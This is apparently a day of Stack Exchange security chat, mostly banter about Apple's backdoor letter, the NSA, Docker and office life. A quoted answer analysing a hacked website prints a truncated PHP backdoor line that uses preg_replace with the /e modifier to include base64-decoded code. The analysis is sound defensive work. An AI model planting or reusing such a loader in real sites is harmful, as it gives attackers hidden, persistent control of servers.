« first day (1889 days earlier)      last day (3289 days later) » 

15:00
You know, come to think of it...
I suspect the NSA could modify the iPhone's firmware to introduce a backdoor on their own.
But not knowing enough about crypto, and Apple's security designs, I realize I could be completely wrong, so I wouldn't put too much stock in that.
@MarkBuffalo the short answer is no they can't (without access to Apple's signing keys or a major bug in iOS)
@MarkBuffalo I think the method that is available when the phone is locked requires a correctly signed image. If it was unlocked, might be different
@RоryMcCune Yeah, and if I recall correctly, the NSA often manages to get their hands on such keys.
@MarkBuffalo <tinfoilhat>but if they did that, Apple would know they had got the keys</tinfoilhat>
@MarkBuffalo sure Tim cook may also be an NSA operative (seen him at the canteen lately) and handing all the info. to them,
15:02
@RоryMcCune I'll punch you in the nose!
@MarkBuffalo I'll take note of that next time I'm in the US
The other thing that amazes me is how many presentations the spy agencies seem to have...
@Matthew Their annoying powerpoints, etc
They also steal images from iconspedia.com to add to their presentations, violating copyright laws
Lol
...not that I know anything about that
0
Q: Hydra on ssh does not work even with correct pass

DraugrI'm testing out hydra, for this purpose I started sshd on a Raspi with Kali 2 running as a target machine. The attacker is a Kali 2 VM on a Macbook. I verified that connecting manually via SSH to the target works. Now I generated a password list of several thousand permutations with john the rip...

The last line
@RоryMcCune Actually, we could go have sandwiches together. I won't hurt ya
15:05
"I'm at a loss what the reason might be and this way I can't pentest since I will not know if the password has really not been found or if it's my problem."
@Matthew Hrm, maybe we should have a hacking.stackexchange.com ? :p
"ethical"
"hacker"
@MarkBuffalo It could have an auto-responder saying "Use Kali"
@mark if you are looking for pen testing, you could also use: area51.stackexchange.com/proposals/90890/penmanship
3
@Matthew Big organizations spend most of their time in meetings, or preparing meetings (with PowerPoint), or discussing meetings.
15:08
@M'vy Legit.
There is no reason for the NSA to be an exception.
@M'vy I'll gouge you with that pen
Markus, the aggressiveness is reserved for me in this chat.
And sometimes Tom Leek when he makes an appearance.
2> /dev/null
oooooooooooohhhhhhhhhhhhnuh
you're in late today
15:11
network
fuck you isp
@RоryMcCune + nuh
or are you in such an intimate base that you use short names now ?
:)
welcome btw.
yay it's back!
3
A: Layman's explanation of encryption backdoors

kalinaA definition of encryption back doors for those who do not understand encryption. Remember the Battle of Helm's Deep from Lord of the Rings? The big fortress surrounded by a high wall with only one way in? The fortress, the Hornburg, is split into two stages. The Keep is an immensely high struct...

@M'vy there is a nuh
oh I've been downvoted
screw you downvoters
@kalina just one
You can see responses to apple's letter if you're interested in getting other perspectives
15:15
@M'vy the first of many
wtf is that url
"posted in DMZ"
NUH!
@CodesInChaos Yeah, I deleted the other stuff, and forgot to put that in.
15:16
also i am two hours behind already :(((
You're two hours... Oh.
@Ohnana good
now, it's time for us to begin
we need to increase the rate of chat to a level where @Ohnana can't catch us up
if we include lots of @Ohnana pings in there as well
@Ohnana Overslept?
then that will result in more parsing required
@MarkBuffalo that and my ISP is a stupid-face
15:18
and then suddenly we're even further ahead
an upstoppable force of nature in the world of stack exchange chat
quickly everybody, rise to the challenge
@kalina I'M BEHIND ON WORK THAT MATTERS YOU BUTTFACE
RAfjdslkfjslkejlskajf
@Ohnana I did that the other day. Felt like shit. I ended up staying at work until 6:30
I DO NOT HAVE A BUTT FOR A FACE AND DMZ IS IMPORTANT WORK THAT MATTERS
I can't wake up unless my wife wakes me up
I hope she uses her mouth
4
15:19
-.-
you know... to shout at you
perverts
5
because violence in order to wake somebody up is unacceptable
well, usually I can wake up... but lately, I haven't been sleeping much at all
well I hope you've been using your mouth
Nurdz are too busy nurding to sleep.
I think I caught David Freitag Disease
15:20
are you saying that @DavidFreitag is a disease?
that's not very nice
@DavidFreitag would never hurt anybody
he's such a good boy
Why does @kalina not have a butt for a face?
@Matthew Because she likes to lie.
how very rude
What does it mean when a star has a hole in it?
pinned
15:22
it means that it's a female star
It's pinned you donut lord.
or it has a bullet wound
Pinned? Be more specific, they all appear pinned to me.
it made a good opening to my pinwall story, now @kalina is disapproving of the relationship between @Simon and @MarkBuffalo
or it's a donut star
15:23
;)
Donut stars are not a thing.
@RоryMcCune DAMMIT
@MarkBuffalo like sticky on forums
but for stars
@kalina ah, got it
@Simon Why not? They should be a thing. I want donut stars. And star donuts.
15:24
I'm so helpful
@MarkBuffalo stars move up and down the list based on how old they are and how many people starred them. pinned stars do not move unless a mod/room owner unpins them
@RоryMcCune How are you able to become a chat mod?
you're not
Are you the room owner?
you either become a mod or you do not
he is a room owner, you can have many
15:24
@MarkBuffalo An ancient ritual, confers on you the ancient powers... well that and Packy made me one :)
you can tell he's a room owner because his name is in italics
Ha, alright
@kalina I just thought that was because he's Scottish
@RоryMcCune So why is the mod/owner obsessed with @kalina calling people perverts?
because everybody in here is perverted except me
@Matthew I make up little out of context stories by pinning various things to the starwall
basically no-one was using the pinwall for anything sensible
so this seemed suitably silly
15:26
if @MarkBuffalo's brains were made out of dynamite we wouldn't have a problem
@RоryMcCune I think we only have once or twice
@kalina I'm fairly sure you are also perverted
it would be more like a party popper going than an explosion
@Matthew all humans are
@MarkBuffalo so many things that are wrong with that, including how the letter is written (intentionally?), that I don't even know where to start
15:26
(except me, obviously)
@RoryAlsop yeah I tend to remove the silly stories if anything actually important turns up :)
@Matthew pls I am not perverted in anyway at all
@kalina FTR, "layperson" in the USA usually have a religious connotation
I am basically innocent in every way
@Ohnana really?
15:27
@TildalWave I agree.
@kalina really?
@Ohnana America isn't even a country
@RoryAlsop 100%
@RoryAlsop yeah. it's like church helper people
not priests, but like teachers, and the like
> Smartphones, led by iPhone, have become an essential part of our lives.
is the layperson the person who "prepares" the alter boys for the priest?
15:28
@kalina that's a "fluffer"
@RoryAlsop no, not the PR talk, the things that it says without saying it
@RoryAlsop No, that's "viagra"
:OOOOO
you guys are NASTY.
you tell them
all the guys in the room are nasty
@Ohnana you only realised that now?
15:30
@RoryAlsop e.g. there's not once sentence about the request being impossible (so it clearly is)
@RoryAlsop it is true that I touch my smartphone more than myself
that's basically "essential"
@RoryAlsop ewww
also @RоryMcCune I just changed the order of your pinned stars
@TildalWave it is possible, they say that. but they aren't going to build it because it's wayyy too dangerous
@kalina eh that's ok, I think the story still holds together ...
15:33
@Ohnana yeah but I read that as a warning letter
@RоryMcCune FOR NOW BWAHAHAHAHAHAhahahahaahhahehehehe
@TildalWave it's more than that. they're openly defying the government. it will be interesting to see what happens next
@kalina you're planning another starwall onslaught?
@Ohnana The Appleplex takes off into orbit. Everyone knows they've been preparing for this...
pls the star wall hasn't recovered from yesterday yet
15:34
@Ohnana make it possible, accidentally leak a backdoor key used on all government use Apple devices?
@TildalWave ....that sounds a bit impossible
servers in space is the only way forward
@Ohnana I'm just daydreaming :)
we all know what happens next
they'll do it, spend their and government money denying it
@Matthew GCHQ?
15:40
@TildalWave Apple Campus 2
I know :P
Isn't it missing a third reactor?
the thrust center seems not to be aligned with the mass center
it uses Segway stabilizers
That's GCHQ
@Matthew dude, I know, I was being sarcastic
15:41
Clearly different. I mean, totally different shape...
yes, GCHQ is bolted down
@TildalWave tough job :S
just in case
@Matthew looks a lot like a stargate, doesn't it.. Chevrons and all
@TildalWave Well, yes. We can't have them taking off...
Although GCHQ would fit very neatly into the middle of Apple Campus 2... When they link up in space...
15:46
@TildalWave after KSP I can't even look at that pic without thinking it's wrong :)
@M'vy I would have expected them to use some ion drives...
@Matthew 100% definitely a repurposed crashed alien spaceship
@Matthew well it's not really atmosphere efficient
@M'vy Well, you use the anti-grav to get up out of the atmosphere, obviously
@kalina Would certainly explain a lot...
Heh, our manager is really good. Knows C/Unix/etc really well, and will call people on their bs
15:58
the art of good management is being able to perform the tasks you're asking other people to perform
@MarkBuffalo What did he do to get promoted then? Poor guy...
not only does it allow you to talk with authority as you obviously know your stuff but it also means you can dig in if the shit hits the fan
you also usually make better decisions and annoy your staff less
@kalina agreed
He's got a gift for managing and technology... both of them. That's rare
Plus being able to call people out on their BS is good
I'm getting awkward questions for my helms deep post
I blame @RoryAlsop
@kalina I blame your face
16:07
but my face is adorable, who would ever blame my face
THAT'S WHY I'M BLAMING IT
Puppy dog facing us down
0
Q: Whats the most secure way to send user data from client to server?

edwinjI know there are probably many existing answers to this question but so far I couldn't find a simple detailed answer. I authenticate users on my app with Facebook and Google. When the authentication is finished, I get id, name, email, profile url and gender. At the moment I authenticate users ...

Free air guitars:
@schroeder hire Chuck Norris?
@schroeder This is one of the reasons why I believe a broad education is required for an information security professional
16:10
I just realised that I have 7 upvotes for providing a link with a couple of highlights from the article it points to. Why am I writing my own answers again?
Wow...
0
A: Apple's open letter- they can't or won't?

The AvengerThis is just bullshit for the liberals buying their overexpensive toys. They already have a backdoor and had one since the very fist computer they built. If they didn't the government wouldn't have allowed them to function. It's that simple. They are alltogether evil. And now they lie to our face...

stanists?
People who worship Stan
Look at the pure evil
@Matthew Honestly, 'they' have done this before
@Matthew It's a stupid post, but the NSA has done this with Skype. In the news, they bemoan Skype's encryption... but the Snowden leaks revealed they already had a backdoor in Skype before they even complained about it
@MarkBuffalo of course, they complained about it to save Skype from a huge loss of monies
just use my outlook on life
everything is already backdoored, nothing is secure
the NSA not only read out president bombing with chemical warfare posts
> The horror of the Satan is in the end led into the woods!"(Proverbs 33:69).
16:15
and then just log into nsa.stackexchange.com
How is this relevant ...?
download all the things they need
and link them up to our existing records
I'm resisting the urge to channel @simon and say "@kalina is backdoored"
Admittedly, not very well...
nobody has ever done that, it would be a death sentence for them to try
@MarkBuffalo indeed, I expected "The greatest trick the Devil ever pulled was convincing the world he didn't exist"
16:16
@kalina pls only @MarkBuffalo and @RoraΖ (via the intra-agency extranet) have access to tha tsite
@kalina I actually know where the real one is ;)
that would be a really funny site tho' ... "Hey I'm trying to exfil some data from a belgian telco, but my implant keeps getting wiped"
@RоryMcCune LMFAO
Oh I almost fell off my chair
OK, that post has degenerated into a religious argument...
@kalina I am?
@kalina Yup, still confused.
16:24
@Matthew Well, the other posters called him out on using a fake verse... it helps lower his already zero credibility.
@DavidFreitag Did you do a cleanout?
@MarkBuffalo Yep
that is a fake bible verse!
good lord that is a poor troll
@DavidFreitag Did I have anything good, or did I lose it in the great podcamping of 2008 + dying in level 3 missions?
@MarkBuffalo You basically had the Caracal and pocket change
@RоryMcCune Need'jo halp
Docker time!
@DavidFreitag I find myself wanting to play again all the sudden...
16:30
@MarkBuffalo Haha ok, just let me know
@Ohnana I think there should be more claims backed up with "I'd rather you didn't"s from the Church of the Flying Spaghetti Monster gospels...
@Matthew challenge accepted
@DavidFreitag Yeah, but I want to play Gallente
there used to be a Pastafarianism SE proposal on A51
I love the shields and drones
16:35
@TildalWave There didn't seem to be much else I could add to that question about AV stations...
sheep dip is IMHO a good term for that
16:49
@Matthew Dayum son.
@Simon :(
I don't wanna be backdoored
stop trying to backdoor me
there is something soothing about the insight graphs on facebook
and how they all seem to travel up and to the right
@RоryMcCune Can docker run an entire JVM?
Or Java app suite?
most dedicated machines struggle running an entire JVM
Java is only as good as the people using it
Close your resource streams/leaks, code efficiently, np
Oh nice
all of my code is efficient
my code it brings all the boys to the yard, and they're like, OMG GIRL CAN CODE, damn right OMG GIRL CAN CODE I could teach you but you're staring down my top
17:02
@kalina No, you're just standing in between me and my monitor...
@kalina not me, that shit has no place in a work environment
Why did I look at comments on The Register? "Maybe Apple is being so hardline on encryption because the CEO is gay" sigh
@Matthew LGBT people have a long history of making valid contributions to comp sci. dude has a point
:D
@kalina It is because the "official" JVM (from Sun/Oracle) is a resource hog meant for big servers.
@Ohnana Sadly, it followed up with "and the Republicans are likely to kick his kind out when they get in"
17:13
A resource efficient JVM can run in a couple of megabytes of RAM and a 32 MHz ARM.
@Matthew >:(
this is why i don't have a choice in this election
@MarkBuffalo yeah docker containers can run anything you can run on linux
there may not always be a sample container on the hub but you can always make your own image
@RоryMcCune That's good. Gonna see if this can speed up our stuff
Our testing
nickcraver.com/blog/2016/02/17/… <-- StackExchange architecture details
kinda interesting
17:42
@RоryMcCune Yeah, those are always fun posts.
@RоryMcCune Dude, I have this thing for numbers. Hnnnnnnnng
@RоryMcCune what always impresses me is just how efficient SE hardware and software runs. Compared to, say, some large banks...
@RoryAlsop But telnet is efficient!
@MarkBuffalo thankfully I haven't seen telnet actually used for a couple of years now
I have seen it a couple years ago, and they're still using it. Lollerskates
When getting a car loan, I met with the dude who handles the thing. And he opened up telnet, and I asked... "Uhm, are you... are you using telnet?" He looked at me in disgust and said, "I know! It's arcane."
Telnet. Windows 2000.
Their entire system ran on telnet :(
It's probably vulnerable to all the forgotten exploits too
17:47
@MarkBuffalo I do like the fact that Links of London still use 3270 terminals in their shops, and query their midrange directly
LOL
I'M WHEEZING NOW
I have my waste clock synced with th Janitor's cleaning duty. We've got a rivalry now
@ThomasPornin sigh
@MarkBuffalo hahaha
#officeproblems
hey you know if I get 32 more rep today on cryptography.se I rep cap
maybe I should do some editing
i mean, i have to be my own janitor...
17:54
@kalina nice - I've never rep-capped there
what could possibly go wrong
@RoryAlsop Yeah. For the last 3 months, every time I gotta go, she's there. Sometimes I sneak by while she's cleaning
Lol
@MarkBuffalo maybe she's stalking you
@kalina you end up being quoted as a crypto expert?
Today I peeked around the corner and jumped her
"YOU! GET OUT OF HERE!!!!"
Lol
@RoryAlsop that would be hilarious
17:56
@MarkBuffalo wow rude
@Ohnana We are friends
@MarkBuffalo what about this as a test case for an answer for posted scripts of unknown origin:
0
A: Website hack attempt?

schroederThe short answer is if the code was added by someone you don't know, then it's malicious, and it doesn't really matter what it does. Your server has been compromised and you need to perform a full clean up. As for how it got added, there is no way for us to know without a full investigation of...

@kalina your CV - international DJ and security and crypto expert
@RoryAlsop you forgot some kind of dance artist
@schroeder I agree with you
@schroeder However, I still want to RE! This is just hex encoding
17:57
@kalina I don't know enough about that so mentally included it in DJ
I don't know the correct terms
what
DJ and producer are two completely different things -.-
@MarkBuffalo I totally get that, and I have enjoyed RE scripts in the past, but it's just not fitting here, IMHO
is dance artist a producer? You have confused me now
you want the full list of roles?
@kalina OpSecFail
;-P
17:59
that's like writer, producer, engineer, mastering engineer, recording engineer, vocalist, remixer
@schroeder I'd VTC to move it to REse, but I can't do that.
@kalina and crypto guru
BTW everyone, the job offer changed. It's no longer Edinburgh, but it's back to London!
@schroeder lol - wtf?
AND I sometimes press play on records in front of other people
18:00
@RoryAlsop yeah - I know
what are you, some kind of guitarist?
:-)
@kalina nearly
I do make noises with one
and that's besides booking agent, arranging travel, doing self promotion, time spent on social media (basically marketing and PR), etc
the list is such a long list of roles
Upset these noisy folks aren't touring Europe: metalsucks.net/2016/02/16/…
hence why "DJ" doesn't cut it
so offended
18:01
@kalina you do realise that the crux of my joke was the crypto bit, not the music end of the spectrum, yes?
well, only 0.5% offended
@kalina lol
I was merely distracting you from the crypto bit because I looked at some of the questions on there and realized I can't be bothered working out what they say to determine if they need editing
@RoryAlsop About @kalina's post... which I enjoy... I'm trying to think of something at the moment... there was an actual case in ancient history wherein one of the most powerful countries of the era were defeated through a back door like that...
My brain is not cooperating right now, so I'm unsure which one I'm referring to... Rome?
not sure - all those sieges ran together after a while...
am googling through possibles now - it isn't Masada: that was breached by a ramp
18:11
Might've been Carthage?
No, Carthage lost
Nick Craver on February 17, 2016
The first in a long series of posts on Stack Overflow’s architecture.
@schroeder This is actually somewhat of a challenge
I don't think this is the full code...
18:29
The Siege of Château Gaillard was a part of Philip II's campaign to conquer the king of England's continental properties. The French king besieged Château Gaillard, a Norman fortress, for six months. The Anglo-Normans were beaten in the battle and the consequence was the fall of Normandy. == Dispositions == King Philip wished to take control of Normandy. The castle at Château Gaillard was the key to the campaign, but he did not move against it directly. Instead he attacked a number of lesser castles in the surrounding area, effectively isolating Château Gaillard and ensuring that his operations...
The castle was taken by the French in 1204. In a crucial inspiration, the French managed to sneak a small force inside the castle, through the toilet chute.
@ThomasPornin sounds like the defenders didn't manage much of a.... rear guard action
roro pls
@RоryMcCune Hey. What could they do against stinking Frenchmen ?
how unfortunate.
18:33
@Simon glad your about today, I may have some wordpress questions later
1
A: Website hack attempt?

borjabIt seems this code creates this: <?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> You can test it in a sandbox. The large hexadecimal chain is a base64 encoded string with /home4/mitzvahc/publi...

wtf wordpress?
ok, my approach to this was completely different... damn. I learned something
@Simon yeah helping someone out with a site, guess you'd know the score given your extensive PHP knowledge
I mean wordpress is just like PHP, right?
Yeah it's exactly the same thing.
18:34
@Simon cool, that's what I thought
The chat is loaded with villains.
You're all a bunch of villains.
@Simon what makes you say that?
The fact that you're constantly villaining.
@Simon You're a villain
blog.twitter.com/2016/introducing-gif-search-on-twitter <-- GIF search in twitter... lets hope there's a filter to remove them
18:38
I feel really good right now
I learned something!
Markus feels good because he learned something about PHP and you guys are not saying shit.
I took the wrong approach to deobfuscating this
18:51
@MarkBuffalo rekt #simon
If none of you stop, I'll have to call the pls police.
WEEOO WEEOO PLS POLIIIIICE

« first day (1889 days earlier)      last day (3289 days later) »